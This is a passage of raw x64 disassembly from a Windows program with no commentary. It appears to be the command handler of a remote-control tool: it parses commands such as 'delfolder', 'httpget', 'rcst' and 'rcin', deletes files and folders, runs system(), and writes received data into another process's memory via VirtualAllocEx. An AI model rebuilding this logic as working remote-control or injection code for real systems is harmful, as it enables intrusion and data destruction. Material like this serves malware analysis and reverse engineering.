lea rcx, [rsp + 0x778]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002e24b
jmp 0x14002e293
movsxd rax, dword [rsp + 0x94]
mov rdx, rax
lea rcx, [rsp + 0x778]
call fcn.1400183a0
movzx eax, word [rax]
mov word [rsp + 0x4b0], ax
xor eax, eax
mov word [rsp + 0x4b2], ax
lea rdx, [rsp + 0x4b0]
lea rcx, [rsp + 0x4c60]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14002e193
mov rax, qword [rsp + 0x8de0]
add rax, 0x5c4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x8a4], eax
lea rcx, [rsp + 0x4c60]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [rsp + 0x8a4]
cmp eax, ecx
jg 0x14002e2d3
movzx eax, byte [rsp + 0x44]
test eax, eax
je 0x14002e2e2
lea rcx, [rsp + 0x4c60]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
lea rcx, [rsp + 0x778]
call fcn.140017380
nop
lea rcx, [rsp + 0x3b20]
call fcn.140017830
nop
lea rcx, [rsp + 0x22c8]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2d60]
call fcn.140017680
jmp 0x14002fb8c
lea rdx, str.delfolder
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002e7e6
lea rcx, [rsp + 0x2d48]
call fcn.140015970
nop
lea rcx, [rsp + 0x2328]
call fcn.140006550
nop
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1a20], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1a20]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
je 0x14002e3ff
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1a28], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1a28]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov rdx, rax
lea rcx, [rsp + 0x3348]
call fcn.1402c6d80
mov qword [rsp + 0x1a30], rax
mov rdx, qword [rsp + 0x1a30]
lea rcx, [rsp + 0x2328]
call fcn.140009f60
lea rcx, [rsp + 0x3348]
call fcn.1400067e0
jmp 0x14002e462
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1a38], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1a38]
add rcx, qword [rax]
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x3368]
call fcn.1402c6d80
mov qword [rsp + 0x1a40], rax
mov rdx, qword [rsp + 0x1a40]
lea rcx, [rsp + 0x2328]
call fcn.140009f60
lea rcx, [rsp + 0x3368]
call fcn.1400067e0
lea rcx, [rsp + 0x3ba0]
call fcn.140015c70
nop
lea r8, [rsp + 0x2328]
lea rdx, [rsp + 0xfe8]
lea rcx, [rsp + 0x3ba0]
call fcn.1400209a0
nop
lea rcx, [rsp + 0xfe8]
call fcn.1400074e0
cmp rax, 0x104
jae 0x14002e7aa
mov rax, qword [rsp + 0x8de0]
add rax, 0x5c4
mov rdx, rax
lea rcx, [rsp + 0x58b0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov dword [rsp + 0x98], 0
jmp 0x14002e4e3
mov eax, dword [rsp + 0x98]
inc eax
mov dword [rsp + 0x98], eax
lea rcx, [rsp + 0xfe8]
call fcn.1400074e0
movsxd rcx, dword [rsp + 0x98]
cmp rcx, rax
jae 0x14002e5d3
movsxd rax, dword [rsp + 0x98]
mov rdx, rax
lea rcx, [rsp + 0xfe8]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x3a
jne 0x14002e528
jmp 0x14002e5d3
lea rcx, [rsp + 0xfe8]
call fcn.1400074e0
mov ecx, dword [rsp + 0x98]
inc ecx
movsxd rcx, ecx
cmp rcx, rax
jae 0x14002e58b
movsxd rax, dword [rsp + 0x98]
mov rdx, rax
lea rcx, [rsp + 0xfe8]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002e58b
mov eax, dword [rsp + 0x98]
inc eax
cdqe
mov rdx, rax
lea rcx, [rsp + 0xfe8]
call fcn.1400183a0
movzx eax, word [rax]
cmp eax, 0x2e
jne 0x14002e58b
jmp 0x14002e5d3
movsxd rax, dword [rsp + 0x98]
mov rdx, rax
lea rcx, [rsp + 0xfe8]
call fcn.1400183a0
movzx eax, word [rax]
mov word [rsp + 0x484], ax
xor eax, eax
mov word [rsp + 0x486], ax
lea rdx, [rsp + 0x484]
lea rcx, [rsp + 0x58b0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x14002e4d3
mov rax, qword [rsp + 0x8de0]
add rax, 0x5c4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x8a0], eax
lea rcx, [rsp + 0x58b0]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [rsp + 0x8a0]
cmp eax, ecx
jle 0x14002e7aa
xor r8d, r8d
lea rdx, [rsp + 0x58b0]
lea rcx, [rsp + 0x2a28]
call fcn.14000ccf0
nop
lea rdx, [rsp + 0x2a28]
lea rcx, [rsp + 0x2098]
call fcn.140016320
nop
lea rax, [rsp + 0x2098]
mov qword [rsp + 0xd58], rax
lea rcx, [rsp + 0x2a28]
call fcn.140017be0
lea rax, [rsp + 0x2d78]
mov qword [rsp + 0x1a48], rax
mov rdx, qword [rsp + 0xd58]
mov rcx, qword [rsp + 0x1a48]
call fcn.1400162e0
mov qword [rsp + 0x1a50], rax
mov rdx, qword [rsp + 0x1a50]
lea rcx, [rsp + 0xf78]
call fcn.14001e950
nop
lea rax, [rsp + 0x2d88]
mov qword [rsp + 0x1a58], rax
mov rdx, qword [rsp + 0xd58]
mov rcx, qword [rsp + 0x1a58]
call fcn.1400162e0
mov qword [rsp + 0x1a60], rax
mov rdx, qword [rsp + 0x1a60]
lea rcx, [rsp + 0x2088]
call fcn.1400204c0
nop
jmp 0x14002e6ef
lea rcx, [rsp + 0xf78]
call fcn.1400186a0
lea rdx, [rsp + 0x2088]
lea rcx, [rsp + 0xf78]
call fcn.140018320
movzx eax, al
test eax, eax
je 0x14002e772
lea rcx, [rsp + 0xf78]
call fcn.1400185c0
mov qword [rsp + 0x1a68], rax
mov rcx, qword [rsp + 0x1a68]
call fcn.140033d10
mov qword [rsp + 0x1a70], rax
lea rdx, [rsp + 0x2ba8]
mov rcx, qword [rsp + 0x1a70]
call fcn.1400367f0
lea rcx, [rsp + 0x2ba8]
call fcn.14001dee0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rsp + 0x2ba8]
call fcn.140017380
jmp 0x14002e6e2
lea rcx, [rsp + 0x2088]
call fcn.140017b00
nop
lea rcx, [rsp + 0xf78]
call fcn.140017b00
nop
lea rcx, [rsp + 0x2098]
call fcn.140017b00
lea rcx, [rsp + 0x58b0]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__wrmdir]
nop
lea rcx, [rsp + 0xfe8]
call fcn.140017380
nop
lea rcx, [rsp + 0x3ba0]
call fcn.140017830
nop
lea rcx, [rsp + 0x2328]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2d48]
call fcn.140017680
jmp 0x14002fb8c
lea rdx, str.httpget
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002ebc4
lea rcx, [rsp + 0x2d30]
call fcn.140015970
nop
lea rcx, [rsp + 0x2128]
call fcn.140006550
nop
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1a78], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1a78]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
je 0x14002e8c7
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1a80], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1a80]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov rdx, rax
lea rcx, [rsp + 0x3388]
call fcn.1402c6d80
mov qword [rsp + 0x1a88], rax
mov rdx, qword [rsp + 0x1a88]
lea rcx, [rsp + 0x2128]
call fcn.140009f60
lea rcx, [rsp + 0x3388]
call fcn.1400067e0
jmp 0x14002e92a
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1a90], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1a90]
add rcx, qword [rax]
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x33a8]
call fcn.1402c6d80
mov qword [rsp + 0x1a98], rax
mov rdx, qword [rsp + 0x1a98]
lea rcx, [rsp + 0x2128]
call fcn.140009f60
lea rcx, [rsp + 0x33a8]
call fcn.1400067e0
lea rcx, [rsp + 0x2128]
call fcn.1400074e0
cmp rax, 7
jb 0x14002eba4
lea rcx, [rsp + 0x2128]
call fcn.14000ae90
mov rdx, rax
lea rcx, [rsp + 0x2108]
call fcn.140021320
nop
lea rcx, [rsp + 0x2108]
call fcn.1400074e0
mov qword [rsp + 0x1aa0], rax
mov rax, qword [0x1404a27f0]
mov qword [rsp + 0x1aa8], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rsp + 0x1aa0]
xor edx, edx
mov rcx, qword [rsp + 0x1aa8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xd60], rax
lea rcx, [rsp + 0x2108]
call fcn.1400074e0
mov qword [rsp + 0x1ab0], rax
lea rcx, [rsp + 0x2108]
call fcn.14000ae90
mov qword [rsp + 0x1ab8], rax
mov r8, qword [rsp + 0x1ab0]
mov rdx, qword [rsp + 0x1ab8]
mov rcx, qword [rsp + 0xd60]
call fcn.140033090
mov rax, qword [rsp + 0xd60]
mov qword [rsp + 0xa30], rax
mov qword [rsp + 0x24a8], 0
lea rcx, [rsp + 0x2108]
call fcn.1400074e0
mov qword [rsp + 0x348], rax
mov qword [rsp + 0x618], 0
jmp 0x14002ea60
mov rax, qword [rsp + 0x618]
inc rax
mov qword [rsp + 0x618], rax
mov rax, qword [rsp + 0x348]
sub rax, 0x30000
mov qword [rsp + 0x348], rax
lea rcx, [rsp + 0x178]
call fcn.140035930
cmp qword [rsp + 0x618], rax
jae 0x14002eb96
cmp qword [rsp + 0x348], 0
jbe 0x14002eb96
cmp qword [rsp + 0x348], 0x7fffffff
jae 0x14002eb96
cmp qword [rsp + 0x348], 0x30000
jbe 0x14002eab8
mov qword [rsp + 0xd68], 0x30000
jmp 0x14002eac8
mov rax, qword [rsp + 0x348]
mov qword [rsp + 0xd68], rax
mov rax, qword [rsp + 0xd68]
mov qword [rsp + 0xa28], rax
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1ac0], rax
mov rdx, qword [rsp + 0x618]
lea rcx, [rsp + 0x178]
call fcn.140018430
mov rcx, qword [rsp + 0x1ac0]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0xa20], rax
lea rdx, [rsp + 0xa30]
mov rcx, qword [rsp + 0xa20]
call fcn.140013f40
mov rax, qword [rsp + 0xa20]
add rax, 0x10
lea rdx, [rsp + 0xa28]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0xa28]
or rax, 0x1f
mov qword [rsp + 0x1ac8], rax
mov rax, qword [rsp + 0xa20]
add rax, 0x18
lea rdx, [rsp + 0x1ac8]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0xa28]
mov rcx, qword [rsp + 0xa30]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xa30], rax
jmp 0x14002ea37
lea rcx, [rsp + 0x2108]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2128]
call fcn.1400067e0
nop
lea rcx, [rsp + 0x2d30]
call fcn.140017680
jmp 0x14002fb8c
lea rdx, [0x140366874]
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002ef5e
lea rcx, [rsp + 0x2000]
call fcn.140015970
nop
mov qword [rsp + 0x320], 0
jmp 0x14002ec12
mov rax, qword [rsp + 0x320]
inc rax
mov qword [rsp + 0x320], rax
lea rcx, [rsp + 0x50]
call fcn.140035930
cmp qword [rsp + 0x320], rax
jae 0x14002ee8e
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1ad0], rax
mov rdx, qword [rsp + 0x320]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1ad0]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0xa38], rax
cmp qword [rsp + 0xa38], 0
jne 0x14002ec7b
jmp 0x14002ee8e
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1ad8], rax
mov rdx, qword [rsp + 0x320]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1ad8]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
jbe 0x14002edaa
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1ae0], rax
mov rdx, qword [rsp + 0x320]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1ae0]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov r8, qword [rsp + 0xa38]
mov rdx, rax
lea rcx, [rsp + 0x27c8]
call fcn.140013b50
nop
lea rax, [rsp + 0x27c8]
mov qword [rsp + 0xd70], rax
mov rcx, qword [rsp + 0xd70]
call fcn.1400085d0
mov qword [rsp + 0x620], rax
mov rcx, qword [rsp + 0xd70]
call fcn.14000ab80
mov qword [rsp + 0x1ae8], rax
jmp 0x14002ed5d
mov rax, qword [rsp + 0x620]
inc rax
mov qword [rsp + 0x620], rax
mov rax, qword [rsp + 0x1ae8]
cmp qword [rsp + 0x620], rax
je 0x14002ed98
mov rax, qword [rsp + 0x620]
movzx eax, byte [rax]
mov byte [rsp + 0xe0], al
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x2000]
call fcn.140034160
jmp 0x14002ed4a
lea rcx, [rsp + 0x27c8]
call fcn.140017680
jmp 0x14002ee89
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1af0], rax
mov rdx, qword [rsp + 0x320]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1af0]
add rcx, qword [rax]
mov rax, rcx
mov r8, qword [rsp + 0xa38]
mov rdx, rax
lea rcx, [rsp + 0x27e0]
call fcn.140013b50
nop
lea rax, [rsp + 0x27e0]
mov qword [rsp + 0xd78], rax
mov rcx, qword [rsp + 0xd78]
call fcn.1400085d0
mov qword [rsp + 0x628], rax
mov rcx, qword [rsp + 0xd78]
call fcn.14000ab80
mov qword [rsp + 0x1af8], rax
jmp 0x14002ee41
mov rax, qword [rsp + 0x628]
inc rax
mov qword [rsp + 0x628], rax
mov rax, qword [rsp + 0x1af8]
cmp qword [rsp + 0x628], rax
je 0x14002ee7c
mov rax, qword [rsp + 0x628]
movzx eax, byte [rax]
mov byte [rsp + 0xe1], al
lea rdx, [rsp + 0xe1]
lea rcx, [rsp + 0x2000]
call fcn.140034160
jmp 0x14002ee2e
lea rcx, [rsp + 0x27e0]
call fcn.140017680
jmp 0x14002ebff
lea rdx, [0x140366884]
lea rcx, [rsp + 0x2898]
call fcn.140009a50
nop
lea rax, [rsp + 0x2000]
mov qword [rsp + 0xd80], rax
mov rcx, qword [rsp + 0xd80]
call fcn.1400085d0
mov qword [rsp + 0x630], rax
mov rcx, qword [rsp + 0xd80]
call fcn.14000ab80
mov qword [rsp + 0x1b00], rax
jmp 0x14002eef2
mov rax, qword [rsp + 0x630]
inc rax
mov qword [rsp + 0x630], rax
mov rax, qword [rsp + 0x1b00]
cmp qword [rsp + 0x630], rax
je 0x14002ef30
mov rax, qword [rsp + 0x630]
movzx eax, byte [rax]
mov byte [rsp + 0xe2], al
movzx eax, byte [rsp + 0xe2]
movzx edx, ax
lea rcx, [rsp + 0x2898]
call fcn.140018e20
jmp 0x14002eedf
lea rcx, [rsp + 0x2898]
call fcn.140019c70
nop
lea rcx, [rsp + 0x2898]
call fcn.140017380
nop
lea rcx, [rsp + 0x2000]
call fcn.140017680
jmp 0x14002fb8c
lea rdx, [0x1403668b4]
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002f2ff
lea rcx, [rsp + 0x1f88]
call fcn.140015970
nop
mov qword [rsp + 0x298], 0
jmp 0x14002efac
mov rax, qword [rsp + 0x298]
inc rax
mov qword [rsp + 0x298], rax
lea rcx, [rsp + 0x50]
call fcn.140035930
cmp qword [rsp + 0x298], rax
jae 0x14002f228
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1b08], rax
mov rdx, qword [rsp + 0x298]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1b08]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.140013da0
mov qword [rsp + 0xa40], rax
cmp qword [rsp + 0xa40], 0
jne 0x14002f015
jmp 0x14002f228
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1b10], rax
mov rdx, qword [rsp + 0x298]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1b10]
lea rax, [rax + rcx + 0x10]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
jbe 0x14002f144
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1b18], rax
mov rdx, qword [rsp + 0x298]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1b18]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov r8, qword [rsp + 0xa40]
mov rdx, rax
lea rcx, [rsp + 0x27f8]
call fcn.140013b50
nop
lea rax, [rsp + 0x27f8]
mov qword [rsp + 0xd88], rax
mov rcx, qword [rsp + 0xd88]
call fcn.1400085d0
mov qword [rsp + 0x638], rax
mov rcx, qword [rsp + 0xd88]
call fcn.14000ab80
mov qword [rsp + 0x1b20], rax
jmp 0x14002f0f7
mov rax, qword [rsp + 0x638]
inc rax
mov qword [rsp + 0x638], rax
mov rax, qword [rsp + 0x1b20]
cmp qword [rsp + 0x638], rax
je 0x14002f132
mov rax, qword [rsp + 0x638]
movzx eax, byte [rax]
mov byte [rsp + 0xe3], al
lea rdx, [rsp + 0xe3]
lea rcx, [rsp + 0x1f88]
call fcn.140034160
jmp 0x14002f0e4
lea rcx, [rsp + 0x27f8]
call fcn.140017680
jmp 0x14002f223
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1b28], rax
mov rdx, qword [rsp + 0x298]
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1b28]
add rcx, qword [rax]
mov rax, rcx
mov r8, qword [rsp + 0xa40]
mov rdx, rax
lea rcx, [rsp + 0x2810]
call fcn.140013b50
nop
lea rax, [rsp + 0x2810]
mov qword [rsp + 0xd90], rax
mov rcx, qword [rsp + 0xd90]
call fcn.1400085d0
mov qword [rsp + 0x640], rax
mov rcx, qword [rsp + 0xd90]
call fcn.14000ab80
mov qword [rsp + 0x1b30], rax
jmp 0x14002f1db
mov rax, qword [rsp + 0x640]
inc rax
mov qword [rsp + 0x640], rax
mov rax, qword [rsp + 0x1b30]
cmp qword [rsp + 0x640], rax
je 0x14002f216
mov rax, qword [rsp + 0x640]
movzx eax, byte [rax]
mov byte [rsp + 0xe4], al
lea rdx, [rsp + 0xe4]
lea rcx, [rsp + 0x1f88]
call fcn.140034160
jmp 0x14002f1c8
lea rcx, [rsp + 0x2810]
call fcn.140017680
jmp 0x14002ef99
lea rdx, [0x1403668fc]
lea rcx, [rsp + 0x28b8]
call fcn.140009a50
nop
lea rax, [rsp + 0x1f88]
mov qword [rsp + 0xd98], rax
mov rcx, qword [rsp + 0xd98]
call fcn.1400085d0
mov qword [rsp + 0x648], rax
mov rcx, qword [rsp + 0xd98]
call fcn.14000ab80
mov qword [rsp + 0x1b38], rax
jmp 0x14002f28c
mov rax, qword [rsp + 0x648]
inc rax
mov qword [rsp + 0x648], rax
mov rax, qword [rsp + 0x1b38]
cmp qword [rsp + 0x648], rax
je 0x14002f2ca
mov rax, qword [rsp + 0x648]
movzx eax, byte [rax]
mov byte [rsp + 0xe5], al
movzx eax, byte [rsp + 0xe5]
movzx edx, ax
lea rcx, [rsp + 0x28b8]
call fcn.140018e20
jmp 0x14002f279
lea rdx, [rsp + 0x28b8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.14000de60
nop
lea rcx, [rsp + 0x28b8]
call fcn.140017380
nop
lea rcx, [rsp + 0x1f88]
call fcn.140017680
jmp 0x14002fb8c
lea rdx, [0x14036690c]
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002f32c
lea rcx, [0x14036691c]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x14002fb8c
lea rdx, str.rcst
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002f4b4
lea rcx, [rsp + 0x1f30]
call fcn.140006550
nop
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1b40], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rax, qword [rax]
mov rcx, qword [rsp + 0x1b40]
lea rax, [rax + rcx + 0x18]
mov rcx, rax
call fcn.140013da0
cmp rax, 0xf
je 0x14002f3ff
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1b48], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1b48]
add rcx, qword [rax]
mov rax, rcx
mov rcx, rax
call fcn.140013da0
mov rdx, rax
lea rcx, [rsp + 0x33c8]
call fcn.1402c6d80
mov qword [rsp + 0x1b50], rax
mov rdx, qword [rsp + 0x1b50]
lea rcx, [rsp + 0x1f30]
call fcn.140009f60
lea rcx, [rsp + 0x33c8]
call fcn.1400067e0
jmp 0x14002f462
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1b58], rax
xor edx, edx
lea rcx, [rsp + 0x50]
call fcn.140018430
mov rcx, qword [rsp + 0x1b58]
add rcx, qword [rax]
mov rax, rcx
mov rdx, rax
lea rcx, [rsp + 0x33e8]
call fcn.1402c6d80
mov qword [rsp + 0x1b60], rax
mov rdx, qword [rsp + 0x1b60]
lea rcx, [rsp + 0x1f30]
call fcn.140009f60
lea rcx, [rsp + 0x33e8]
call fcn.1400067e0
lea rcx, [rsp + 0x1f30]
call fcn.140020310
movzx eax, al
test eax, eax
jne 0x14002f4a2
lea rcx, [rsp + 0x1f30]
call fcn.1400074e0
cmp rax, 0x104
jae 0x14002f4a2
lea rcx, [rsp + 0x1f30]
call fcn.14000ae90
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
nop
lea rcx, [rsp + 0x1f30]
call fcn.1400067e0
jmp 0x14002fb8c
lea rdx, str.rcin
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002f86c
movzx eax, byte [0x1404979d3]
test eax, eax
jne 0x14002f4ea
mov byte [0x1404979d3], 1
jmp 0x14002f867
movzx eax, byte [0x1404979d6]
test eax, eax
je 0x14002f867
lea rcx, [0x140497e70]
call fcn.140020310
movzx eax, al
test eax, eax
je 0x14002f555
lea rdx, str._NOINPUT_
lea rcx, [rsp + 0x3428]
call fcn.1400064f0
mov qword [rsp + 0x1b68], rax
mov rax, qword [rsp + 0x1b68]
mov qword [rsp + 0x1b70], rax
mov eax, dword [rsp + 0x78]
or eax, 1
mov dword [rsp + 0x78], eax
mov rax, qword [rsp + 0x1b70]
mov qword [rsp + 0xda0], rax
jmp 0x14002f58c
lea rdx, [0x140497e70]
lea rcx, [rsp + 0x3408]
call fcn.140009280
mov qword [rsp + 0x1b78], rax
mov eax, dword [rsp + 0x78]
or eax, 2
mov dword [rsp + 0x78], eax
mov rax, qword [rsp + 0x1b78]
mov qword [rsp + 0xda0], rax
mov rax, qword [rsp + 0xda0]
mov qword [rsp + 0x1b80], rax
mov rdx, qword [rsp + 0x1b80]
lea rcx, [rsp + 0x1eb0]
call fcn.140009200
nop
mov eax, dword [rsp + 0x78]
and eax, 2
test eax, eax
je 0x14002f5d0
and dword [rsp + 0x78], 0xfffffffd
lea rcx, [rsp + 0x3408]
call fcn.1400067e0
nop
mov eax, dword [rsp + 0x78]
and eax, 1
test eax, eax
je 0x14002f5ed
and dword [rsp + 0x78], 0xfffffffe
lea rcx, [rsp + 0x3428]
call fcn.1400067e0
lea rcx, [rsp + 0x1eb0]
call fcn.14000ae90
mov rdx, rax
lea rcx, str.Got_input:__s_n
call fcn.14000cc30
lea rcx, [rsp + 0x1eb0]
call fcn.1400074e0
mov qword [rsp + 0x1b88], rax
mov rax, qword [0x1404a27f0]
mov qword [rsp + 0x1b90], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x1000
mov r8, qword [rsp + 0x1b88]
xor edx, edx
mov rcx, qword [rsp + 0x1b90]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xdf8], rax
lea rcx, [rsp + 0x1eb0]
call fcn.1400074e0
mov qword [rsp + 0x1b98], rax
lea rcx, [rsp + 0x1eb0]
call fcn.14000ae90
mov qword [rsp + 0x1ba0], rax
mov r8, qword [rsp + 0x1b98]
mov rdx, qword [rsp + 0x1ba0]
mov rcx, qword [rsp + 0xdf8]
call fcn.140033090
mov rax, qword [rsp + 0xdf8]
mov qword [rsp + 0x858], rax
mov qword [rsp + 0x24b0], 0
lea rcx, [rsp + 0x1eb0]
call fcn.1400074e0
mov qword [rsp + 0x3d8], rax
mov qword [rsp + 0x650], 0
jmp 0x14002f70a
mov rax, qword [rsp + 0x650]
inc rax
mov qword [rsp + 0x650], rax
mov rax, qword [rsp + 0x3d8]
sub rax, 0x30000
mov qword [rsp + 0x3d8], rax
lea rcx, [rsp + 0x178]
call fcn.140035930
cmp qword [rsp + 0x650], rax
jae 0x14002f840
cmp qword [rsp + 0x3d8], 0
jbe 0x14002f840
cmp qword [rsp + 0x3d8], 0x7fffffff
jae 0x14002f840
cmp qword [rsp + 0x3d8], 0x30000
jbe 0x14002f762
mov qword [rsp + 0xdf0], 0x30000
jmp 0x14002f772
mov rax, qword [rsp + 0x3d8]
mov qword [rsp + 0xdf0], rax
mov rax, qword [rsp + 0xdf0]
mov qword [rsp + 0xa50], rax
movsxd rax, dword [0x14047d008]
mov qword [rsp + 0x1ba8], rax
mov rdx, qword [rsp + 0x650]
lea rcx, [rsp + 0x178]
call fcn.140018430
mov rcx, qword [rsp + 0x1ba8]
add rcx, qword [rax]
mov rax, rcx
mov qword [rsp + 0xa48], rax
lea rdx, [rsp + 0x858]
mov rcx, qword [rsp + 0xa48]
call fcn.140013f40
mov rax, qword [rsp + 0xa48]
add rax, 0x10
lea rdx, [rsp + 0xa50]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0xa50]
or rax, 0x1f
mov qword [rsp + 0x1bb0], rax
mov rax, qword [rsp + 0xa48]
add rax, 0x18
lea rdx, [rsp + 0x1bb0]
mov rcx, rax
call fcn.140013f40
mov rax, qword [rsp + 0xa50]
mov rcx, qword [rsp + 0x858]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x858], rax
jmp 0x14002f6e1
lea rdx, [0x140365b53]
lea rcx, [0x140497e70]
call fcn.14000a080
mov byte [0x1404979d6], 0
lea rcx, [rsp + 0x1eb0]
call fcn.1400067e0
jmp 0x14002fb8c
lea rdx, [0x14036693c]
lea rcx, [rsp + 0x3e0]
call fcn.140007f70
movzx eax, al
test eax, eax
je 0x14002fb8c
lea rcx, [rsp + 0x2a68]
call fcn.140019bf0
nop
lea rdx, [0x140365b56]
lea rcx, [rsp + 0x1ed0]
call fcn.1400064f0
nop
lea rax, [rsp + 0x2a68]
mov qword [rsp + 0xde8], rax
mov rcx, qword [rsp + 0xde8]
call fcn.14001dee0
mov qword [rsp + 0x658], rax
mov rcx, qword [rsp + 0xde8]
call fcn.14001dfa0
mov qword [rsp + 0x1bb8], rax
jmp 0x14002f8fe
mov rax, qword [rsp + 0x658]
add rax, 2
mov qword [rsp + 0x658], rax
mov rax, qword [rsp + 0x1bb8]
cmp qword [rsp + 0x658], rax
je 0x14002f93a
mov rax, qword [rsp + 0x658]
movzx eax, word [rax]
mov word [rsp + 0x2ac], ax
movzx edx, byte [rsp + 0x2ac]
lea rcx, [rsp + 0x1ed0]
call fcn.140006930
jmp 0x14002f8ea
lea rcx, [rsp + 0x1ed0]
call fcn.1400074e0
mov qword [rsp + 0x1bc0], rax
mov rax, qword [0x1404a27f0]
mov qword [rsp + 0x1bc8], rax
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov r8, qword [rsp + 0x1bc0]
xor edx, edx
mov rcx, qword [rsp + 0x1bc8]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rsp + 0xde0], rax
lea rcx, [rsp + 0x1ed0]
call fcn.1400074e0
